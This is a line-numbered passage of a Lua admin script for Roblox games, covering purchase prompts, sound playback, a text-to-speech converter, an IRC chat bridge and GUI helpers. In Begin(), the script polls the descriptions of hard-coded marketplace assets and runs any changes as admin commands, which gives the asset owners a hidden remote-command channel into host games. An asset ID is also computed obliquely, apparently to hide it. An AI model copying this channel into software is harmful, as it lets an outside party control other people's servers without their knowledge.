  3180. Accessory = string.lower(tostring(Accessory) or "")
  3181. if Assets.AccessoryTypes[Accessory] then
  3182. return Assets.AccessoryTypes[Accessory]
  3183. else
  3184. return Assets.AccessoryTypes["all"]
  3185. end
  3186. end
  3187.  
  3188. function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
  3189. if not Player then return nil end
  3190. if not Player:FindFirstChild("PlayerGui") then return nil end
  3191. if not tonumber(ProductID) then return nil end
  3192.  
  3193. local FromText = ""
  3194. if From and From.Name then FromText = " | Prompted from "..From.Name end
  3195.  
  3196. local Product = MARKET:GetItemInfo(ProductID, true)
  3197.  
  3198. local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
  3199. local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
  3200. local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
  3201.  
  3202. local CanBuy = Product.IsForSale
  3203. local BuyText = "Buy"
  3204. local BuyColor = Color3.new(0,1,0)
  3205. if CanBuy == false then
  3206. BuyColor = Color3.new(1,0,0)
  3207. end
  3208. if Product.IsPublicDomain == true then
  3209. CanBuy = true
  3210. BuyColor = Color3.new(1,0.5,0.5)
  3211. BuyText = "FREE!"
  3212. end
  3213. if OwnsAsset then
  3214. CanBuy = false
  3215. end
  3216. if Product.AssetTypeId == 9 then
  3217. CanBuy = true
  3218. BuyText = "Teleport"
  3219. BuyColor = Color3.new(0.5,0.5,0.5)
  3220. end
  3221. if CanBuy == false then
  3222. BuyColor = Color3.new(1,0,0)
  3223. BuyText = "Item not for sale"
  3224. end
  3225. if OwnsAsset and Product.AssetTypeId ~= 9 then
  3226. BuyColor = Color3.new(1,0,0)
  3227. BuyText = "You own this!"
  3228. end
  3229.  
  3230. local ProductName = string.sub(Product.Name,1,20)
  3231. if ProductID == AdminID then ProductName = Product.Name end
  3232. local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
  3233. local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
  3234. local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
  3235. local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
  3236. local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
  3237. local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
  3238. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
  3239. local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
  3240. if Product.Description then
  3241. local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
  3242. local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
  3243.  
  3244. CORE:ExecuteResource("CalculateScrollY", Description)
  3245. end
  3246.  
  3247. Info.Text = [[
  3248. Creator: ]]..Product.Creator.Name..[[
  3249. Created: ]]..CreatedText..[[
  3250. Updated: ]]..UpdatedText..[[
  3251. Sold: ]]..Product.Sales..[[
  3252. ]]
  3253.  
  3254. if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
  3255. if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
  3256.  
  3257. if Product.AssetTypeId == 3 then
  3258. local PlayerAdmin,Rank = RANK:IsAdmin(Player)
  3259. if PlayerAdmin == true then
  3260. local Playing = false
  3261. local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
  3262. CORE:HandleEvent(Interact, "MouseButton1Down", function()
  3263. if Playing == false then
  3264. SOUND:PlayGlobalSound(ProductID)
  3265. if Rank == "Member" and Settings.DisableAbuse == true then
  3266. Interact:Destroy()
  3267. end
  3268. Interact.Image = "rbxassetid://67950809"
  3269. Playing = true
  3270. else
  3271. SOUND:StopGlobalSound()
  3272. Interact.Image = "rbxassetid://67950784"
  3273. Playing = false
  3274. end
  3275. end)
  3276. end
  3277. end
  3278.  
  3279. CORE:HandleEvent(Buy, "MouseButton1Down", function()
  3280. if BuyPressFunc then
  3281. BuyPressFunc()
  3282. elseif Product.AssetTypeId == 9 then
  3283. Server.TS:Teleport(ProductID, Player)
  3284. elseif CanBuy == true then
  3285. Server.MPS:PromptPurchase(Player, ProductID)
  3286. end end)
  3287. end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
  3288. local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
  3289. while wait(5) do
  3290. local Purchase = Server.MPS:GetProductInfo(LinkedID)
  3291. if OldVer ~= Purchase.Updated then
  3292. OldVer = Purchase.Updated
  3293. CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
  3294. end
  3295. end end)()
  3296. end end)() end
  3297.  
  3298. -- Sound functions --
  3299.  
  3300. function SOUND:SyncSoundList(TellSync)
  3301. if not CORE:NilPlayer(TellSync) then
  3302. GUI:SendHint(TellSync, "Syncing...", 5)
  3303. end
  3304.  
  3305. SoundList,GlobalSoundList = {},{}
  3306.  
  3307. local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
  3308.  
  3309. if LocalSoundList then
  3310. if type(LocalSoundList) == "table" then
  3311. if #LocalSoundList > 0 then
  3312. for _,Data in pairs(LocalSoundList) do
  3313. local SoundInfo = MARKET:GetItemInfo(Data[2], true)
  3314. SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
  3315. end
  3316. end
  3317. end
  3318. end
  3319.  
  3320. for _,JSONID in pairs(SoundJSONs) do
  3321. for Name,ID in pairs(CORE:GetTable(JSONID)) do
  3322. local SoundInfo = MARKET:GetItemInfo(ID, true)
  3323. local FullName = SoundInfo.Name
  3324. local CreatorName = SoundInfo.Creator.Name
  3325. SoundList[Name] = {ID, FullName, CreatorName}
  3326. GlobalSoundList[Name] = {ID, FullName, CreatorName}
  3327. end
  3328. end
  3329.  
  3330. if not CORE:NilPlayer(TellSync) then
  3331. GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
  3332. end
  3333. end
  3334.  
  3335. function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
  3336. if not Volume then Volume = 0.5 end
  3337. if not Pitch then Pitch = 1 end
  3338. if tonumber(ID) then ID = "rbxassetid://"..ID end
  3339. if Looped == nil then Looped = false end
  3340.  
  3341. local Sound = Instance.new("Sound", Parent)
  3342. Sound.Pitch = Pitch
  3343. Sound.Volume = Volume
  3344. Sound.SoundId = ID
  3345. Sound.Looped = Looped
  3346. return Sound
  3347. end
  3348.  
  3349. function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
  3350. if not Player or not ID then return nil end
  3351. if NotifySounds[ID] then ID = NotifySounds[ID] end
  3352. local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
  3353. if Settings.EnableSounds or OverrideSettings then
  3354. coroutine.wrap(function()
  3355. wait()
  3356. ClientSound:Play()
  3357. Delay(5, function() ClientSound:Destroy() end)
  3358. end)()
  3359. end
  3360. return Sound
  3361. end
  3362.  
  3363. function SOUND:BindButton(Button)
  3364. if not Button then return end
  3365. CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
  3366. CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
  3367. end
  3368.  
  3369. function SOUND:StopGlobalSound()
  3370. if Sound and Sound.Parent then
  3371. if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
  3372. Sound.Parent:Destroy()
  3373. end
  3374.  
  3375. Sound:Stop()
  3376. Sound:Destroy()
  3377. Sound.SoundId = ""
  3378. end
  3379. end
  3380.  
  3381. function SOUND:PlayGlobalSound(ID, ShowInfo)
  3382. SOUND:StopGlobalSound()
  3383. if ShowInfo == nil then ShowInfo = true end
  3384. local SoundID = ID
  3385. local SoundName = nil
  3386. local SoundCreator = nil
  3387. local Pitch = 1
  3388.  
  3389. for Name,Info in pairs(SoundList) do
  3390. if type(SoundID) == "string" then
  3391. if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
  3392. SoundID = Info[1]
  3393. SoundName = Info[2]
  3394. SoundCreator = Info[3]
  3395. end
  3396. else
  3397. break
  3398. end
  3399. end
  3400.  
  3401. if tonumber(SoundID) and not SoundName then
  3402. local Info = MARKET:GetItemInfo(SoundID, true)
  3403. if Info then
  3404. SoundName = Info.Name
  3405. SoundCreator = Info.Creator.Name
  3406. if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
  3407. SoundID = nil
  3408. end
  3409. end
  3410. end
  3411.  
  3412. if tonumber(SoundID) then
  3413. if SoundID == 131201443 then Pitch = -1 end
  3414. if SoundID == 130775695 then Pitch = 0.8 end
  3415. if SoundID == 144035866 then Pitch = 0.8 end
  3416.  
  3417. local SoundParent = Server.Workspace
  3418. if IsSB then
  3419. SoundParent = Instance.new("Script", Workspace)
  3420. SoundParent.Name = "M".."ML'S Admin Sound"
  3421. end
  3422. Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
  3423. Sound.Name = "MML's Admin Sound "..SoundID
  3424. Sound:Play()
  3425. if ShowInfo == true then
  3426. for _,Player in pairs(Server.Players:GetPlayers()) do
  3427. GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
  3428. end
  3429. end
  3430. SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
  3431. end
  3432. end
  3433.  
  3434. function SOUND:ConvertText(Text)
  3435. Text = string.lower(tostring(Text))
  3436. local Letters = {}
  3437. local IDs = {}
  3438. for Rule,Replace in pairs(TextConverter.Pronounce) do
  3439. Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
  3440. end
  3441. for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
  3442. local Start, End = string.find(Text, string.lower(Rule))
  3443.  
  3444. if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
  3445. Text = string.gsub(Text, string.lower(Rule), Replace)
  3446. end
  3447. end
  3448. for i = 1,#Text do
  3449. table.insert(Letters, string.sub(Text,i,i))
  3450. end
  3451. for Num = 1,#Letters do
  3452. if not Letters[Num] then break end
  3453. local Letter = Letters[Num]
  3454.  
  3455. local function AddLetter()
  3456. table.insert(IDs, TextConverter.LetterSounds[Letter])
  3457. end
  3458.  
  3459. if Letter ~= "~" then
  3460. if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
  3461. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3462. table.remove(Letters, Num + 1)
  3463. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
  3464. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3465. table.remove(Letters, Num + 1)
  3466. elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
  3467. table.insert(IDs, TextConverter.LetterSounds["th"])
  3468. table.remove(Letters, Num + 1)
  3469. elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
  3470. table.insert(IDs, TextConverter.LetterSounds["sh"])
  3471. table.remove(Letters, Num + 1)
  3472. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
  3473. table.insert(IDs, TextConverter.LongVowels["e"])
  3474. table.remove(Letters, Num + 1)
  3475. elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
  3476. table.insert(IDs, TextConverter.LetterSounds["wh"])
  3477. table.remove(Letters, Num + 1)
  3478. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
  3479. table.insert(IDs, TextConverter.LetterSounds["ch"])
  3480. table.remove(Letters, Num + 1)
  3481. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
  3482. table.insert(IDs, TextConverter.LetterSounds["f"])
  3483. table.remove(Letters, Num + 1)
  3484. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
  3485. table.insert(IDs, TextConverter.LetterSounds[Num])
  3486. Letters[Num + 1] = "j"
  3487. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
  3488. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3489. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
  3490. table.insert(IDs, TextConverter.LongVowels["e"])
  3491. table.remove(Letters, Num + 1)
  3492. elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
  3493. table.insert(IDs, TextConverter.LongVowels["e"])
  3494. table.remove(Letters, Num + 1)
  3495. if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
  3496. elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
  3497. table.insert(IDs, TextConverter.LetterSounds["s"])
  3498. Letters[Num + 1] = "~"
  3499. elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
  3500. table.insert(IDs, TextConverter.LongVowels[Letter])
  3501. Letters[Num + 2] = "~"
  3502. elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
  3503. table.insert(IDs, TextConverter.LongVowels["i"])
  3504. Letters[Num + 1] = "~"
  3505. elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
  3506. table.insert(IDs, TextConverter.LongVowels["o"])
  3507. elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
  3508. table.insert(IDs, TextConverter.LongVowels["i"])
  3509. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
  3510. AddLetter()
  3511. table.remove(Letters, Num + 1)
  3512. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
  3513. Letters[Num] = "~"
  3514. elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
  3515. AddLetter()
  3516. table.remove(Letters, Num + 1)
  3517. elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
  3518. AddLetter()
  3519. table.remove(Letters, Num + 1)
  3520. elseif Letters[Num+1] == Letter then
  3521. table.remove(Letters, Num)
  3522. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
  3523. AddLetter()
  3524. table.remove(Letters, Num)
  3525. elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
  3526. table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
  3527. elseif TextConverter.LetterSounds[Letter] then
  3528. AddLetter()
  3529. elseif STRING:IsSpacer(Letter) then
  3530. table.insert(IDs, "Rest")
  3531. end
  3532. end
  3533. end
  3534.  
  3535. return IDs
  3536. end
  3537.  
  3538. function SOUND:StopSpeaking() coroutine.wrap(function()
  3539. NoSpeak = true
  3540. wait(1)
  3541. NoSpeak = false
  3542. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  3543. if Obj.Name == "M".."M".."L Speak Sound" then
  3544. Obj:Destroy()
  3545. end
  3546. end
  3547. end)() end
  3548.  
  3549. function SOUND:SayConvertedText(IDs, Parent)
  3550. if not Parent then Parent = Server.Workspace end
  3551. local Sounds = {}
  3552. for _,Data in pairs(IDs) do
  3553. if NoSpeak and Parent == Server.Workspace then
  3554. break
  3555. end
  3556. local Length = 0.3
  3557. if Data ~= "Rest" then
  3558. local ID = Data[1]
  3559. Length = Data[2]
  3560.  
  3561. local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
  3562. Sound.Name = "MML Speak Sound"
  3563. table.insert(Sounds, Sound)
  3564. Sound:Play()
  3565. if Length then
  3566. coroutine.wrap(function()
  3567. wait(Length)
  3568. Sound:Stop()
  3569. end)()
  3570. end
  3571. end
  3572. if not Length then Length = 0.3 end
  3573. wait(Length/2)
  3574. end
  3575. coroutine.wrap(function()
  3576. wait(1)
  3577. for _,Sound in pairs(Sounds) do
  3578. Sound:Destroy()
  3579. end
  3580. end)()
  3581. end
  3582.  
  3583. local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
  3584.  
  3585. function SOUND:BeepPlayer(Player)
  3586. if Player:FindFirstChild("PlayerGui") then
  3587. local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
  3588. Beep.Name = "Annoy"
  3589. Beep:Play()
  3590. end
  3591. end
  3592.  
  3593. function SOUND:ClearInfo()
  3594. SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
  3595. end
  3596.  
  3597. -- IRC functions --
  3598.  
  3599. function IRC:GenerateName()
  3600. return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
  3601. end
  3602.  
  3603. function IRC:AddChat(Name, Data, IsError)
  3604. if not IsError then IsError = false end
  3605. CORE:Log(IRC.Logs, Name, Data)
  3606. table.insert(IRC.Chats, {Name, Data, IsError})
  3607. IRC.MessageAdded:Fire(Name, Data, IsError)
  3608. end
  3609.  
  3610. function IRC:Post(URL,Data)
  3611. if Data and Data ~= "" then
  3612. local Suc,Resp = ypcall(function()
  3613. return Server.HS:PostAsync(
  3614. IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
  3615. Data,
  3616. Enum.HttpContentType.ApplicationUrlEncoded
  3617. )
  3618. end)
  3619. if not Suc then
  3620. IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
  3621. return false
  3622. end
  3623. IRC.SessionCounter = IRC.SessionCounter + 1
  3624. return Resp
  3625. else
  3626. IRC:AddChat("[ CLIENT ]", "Unknown error")
  3627. end
  3628. end
  3629.  
  3630. function IRC:Send(Data)
  3631. return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
  3632. end
  3633.  
  3634. function IRC:GetData()
  3635. return IRC:Post("s","&s="..IRC.SessionID)
  3636. end
  3637.  
  3638. function IRC:Connect()
  3639. return IRC:Post("n","&nick="..IRC.NickName)
  3640. end
  3641.  
  3642. function IRC:Join(Channel)
  3643. if not Channel then
  3644. AddChat("[ CLIENT ]", "No channel specified!")
  3645. return false
  3646. else
  3647. local Channel = string.lower(Channel)
  3648. if string.sub(Channel,1,1) ~= "#" then
  3649. AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
  3650. return false
  3651. end
  3652. IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
  3653. IRC:Send("JOIN "..Channel)
  3654. IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
  3655. return true
  3656. end
  3657. end
  3658.  
  3659. function IRC:Pong(Data)
  3660. return IRC:Send("PONG :"..Data)
  3661. end
  3662.  
  3663. function IRC:Quit(Reason)
  3664. IRC.Stop = true
  3665. return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
  3666. end
  3667.  
  3668. function IRC:ReceiveData()
  3669. IRC.Stop = false
  3670. local Data = IRC:GetData()
  3671. if Data then
  3672. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
  3673. end
  3674. while Data and not Stop do
  3675. local Data = IRC:GetData()
  3676. if Data and #Data > 0 then
  3677. IRC:HandleResponse(REMOTE:Decode(Data))
  3678. end
  3679. wait(2) -- Don't spam the server
  3680. end
  3681. if not Data then
  3682. IRC:AddChat("[ CLIENT ]", "Could not get data", true)
  3683. end
  3684. if Stop == true then
  3685. IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
  3686. end
  3687. end
  3688.  
  3689. function IRC:ConnectToServer(Server)
  3690. if Connected then
  3691. if not IRC.Servers[Server] then
  3692. IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
  3693. return false
  3694. end
  3695. IRC:Quit("New Connection")
  3696. end
  3697. local Response = IRC:Connect()
  3698. if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
  3699. local Data = REMOTE:Decode(Response)
  3700. IRC.SessionID = Data[2]
  3701. wait(1)
  3702. if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
  3703. IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
  3704. IRC:Quit()
  3705. IRC:ConnectToServer(Server)
  3706. end
  3707. IRC.Connected = true
  3708. IRC:Join(Settings.IRCChannel)
  3709. IRC:ReceiveData()
  3710. IRC.Connected = false
  3711. IRC:AddChat("[ CLIENT ]", "Session ended", true)
  3712. end
  3713.  
  3714. function IRC:FindUser(UserName)
  3715. for UserID,User in pairs(IRC.Users) do
  3716. if string.lower(User) == string.lower(UserName) then
  3717. return UserID
  3718. end
  3719. end
  3720. return nil
  3721. end
  3722.  
  3723. function IRC:HandleResponse(Data)
  3724. if type(Data) ~= "table" then
  3725. IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
  3726. ypcall(function()
  3727. IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
  3728. end)
  3729. return false
  3730. end
  3731. for _,Output in pairs(Data) do
  3732. if type(Output) == "table" and Output[2] then
  3733. local ID = string.upper(Output[2])
  3734. if not IRC.Ignore[ID] then
  3735. if ID == "PING" then
  3736. IRC:Pong(Output[4][1])
  3737. elseif ID == "PRIVMSG" then
  3738. local SenderDetails = Output[3]
  3739. local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
  3740. local Channel = string.lower(Output[4][1])
  3741. if Channel == IRC.NickName then
  3742. Channel = Sender
  3743. -- TODO: Handle PM's
  3744. end
  3745. local Message = Output[4][2]
  3746. if Message ~= nil then
  3747. if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
  3748. if string.find(Message,":") then
  3749. local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
  3750. local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
  3751. IRC:AddChat(IRCUser, IRCMessage)
  3752. end
  3753. else
  3754. IRC:AddChat("[ IRC ] "..Sender,Message)
  3755. for _,Name in pairs(Settings.IRCCommandExecuters) do
  3756. if string.lower(Name) == string.lower(Sender) then
  3757. CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
  3758. break
  3759. end
  3760. end
  3761. end
  3762. else
  3763. IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
  3764. end
  3765. elseif ID == "NICK" then
  3766. local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
  3767. -- change nickname?
  3768. elseif ID == "433" or ID == "451" then
  3769. IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
  3770. IRC:Quit("Nickname in use, rejoining with new name")
  3771. IRC.NickName = IRC:GenerateName()
  3772. wait(2) -- wait for old sessions to end
  3773. IRC:ConnectToServer(Settings.IRCServer)
  3774. elseif ID == "353" then
  3775. if Data[4][4][4] then
  3776. for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
  3777. table.insert(IRC.Users, Output)
  3778. end
  3779. end
  3780. elseif ID == "QUIT" or ID == "PART" then
  3781. for User in string.gmatch(Data[1][3], "[^!~]+") do
  3782. if IRC:FindUser(User) then
  3783. IRC:AddChat("[ IRC ]", User.." has left")
  3784. table.remove(IRC.Users, IRC:FindUser(User))
  3785. end
  3786. end
  3787. elseif ID == "JOIN" then
  3788. for User in string.gmatch(Data[1][3], "[^!~]+") do
  3789. if not string.find(User, "qwebirc") then
  3790. IRC:AddChat("[ IRC ]", User.." has joined")
  3791. table.insert(IRC.Users,w)
  3792. end
  3793. end
  3794. elseif ID == "CONNECTION TO IRC SERVER LOST." then
  3795. IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
  3796. --IRC:Quit("Connection lost")
  3797. --IRC:AddChat("[ CLIENT ]", "Retrying connection")
  3798. --IRC:ConnectToServer(Settings.IRCServer)
  3799. elseif IRC.Codes[ID] then
  3800. --print(ID)
  3801. --print(Data[i][4][2])
  3802. --print(Data[i][4][2])
  3803. elseif ID == "KICK" then
  3804. IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
  3805. IRC:Quit("Kicked from IRC")
  3806. elseif ID then
  3807. IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
  3808. else
  3809. IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
  3810. end
  3811. end
  3812. else
  3813. if Output == false then return false end -- sneeky server
  3814. IRC:AddChat("[ CLIENT ]", "Unable to handle data")
  3815. end
  3816. end
  3817. end
  3818.  
  3819. -- GUI functions --
  3820.  
  3821. function GUI:GetColor(ColorName)
  3822. if not ColorName then ColorName = Settings.ColorScheme end
  3823. return Colors[string.upper(ColorName)]
  3824. end
  3825.  
  3826. function GUI:ContrastColor(Color)
  3827. if type(Color) == "string" then Color = GUI:GetColor(Color) end
  3828. if not Color then Color = GUI:GetColor() end
  3829. return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
  3830. end
  3831.  
  3832.  
  3833. function GUI:GetNameColor(Name)
  3834. local Val = 0
  3835. for i = 1, #Name do
  3836. local CVal = string.byte(string.sub(Name, i, i))
  3837. local RevIndex = #Name - i + 1
  3838. if #Name%2 == 1 then
  3839. RevIndex = RevIndex - 1
  3840. end
  3841. if RevIndex%4 >= 2 then
  3842. CVal = -CVal
  3843. end
  3844. Val = Val + CVal
  3845. end
  3846. local Index = Val%8 + 1
  3847.  
  3848. return BrickColor.new(ChatColors[Index])
  3849. end
  3850.  
  3851. function GUI:Color3ToHex(Color)
  3852. local function ConvertNumber(Number)
  3853. local HexString = "0123456789abcdef"
  3854. local Byte = ""
  3855. while Number > 0 do
  3856. local Calc = math.fmod(Number, 16)
  3857. Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
  3858. Number = math.floor(Number / 16)
  3859. end
  3860. if Calc == "" then
  3861. Byte = "00"
  3862. elseif #Byte == 1 then
  3863. Byte = "0"..Byte
  3864. elseif Byte == "" then
  3865. Byte = "00"
  3866. end
  3867. return Byte
  3868. end
  3869. return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
  3870. end
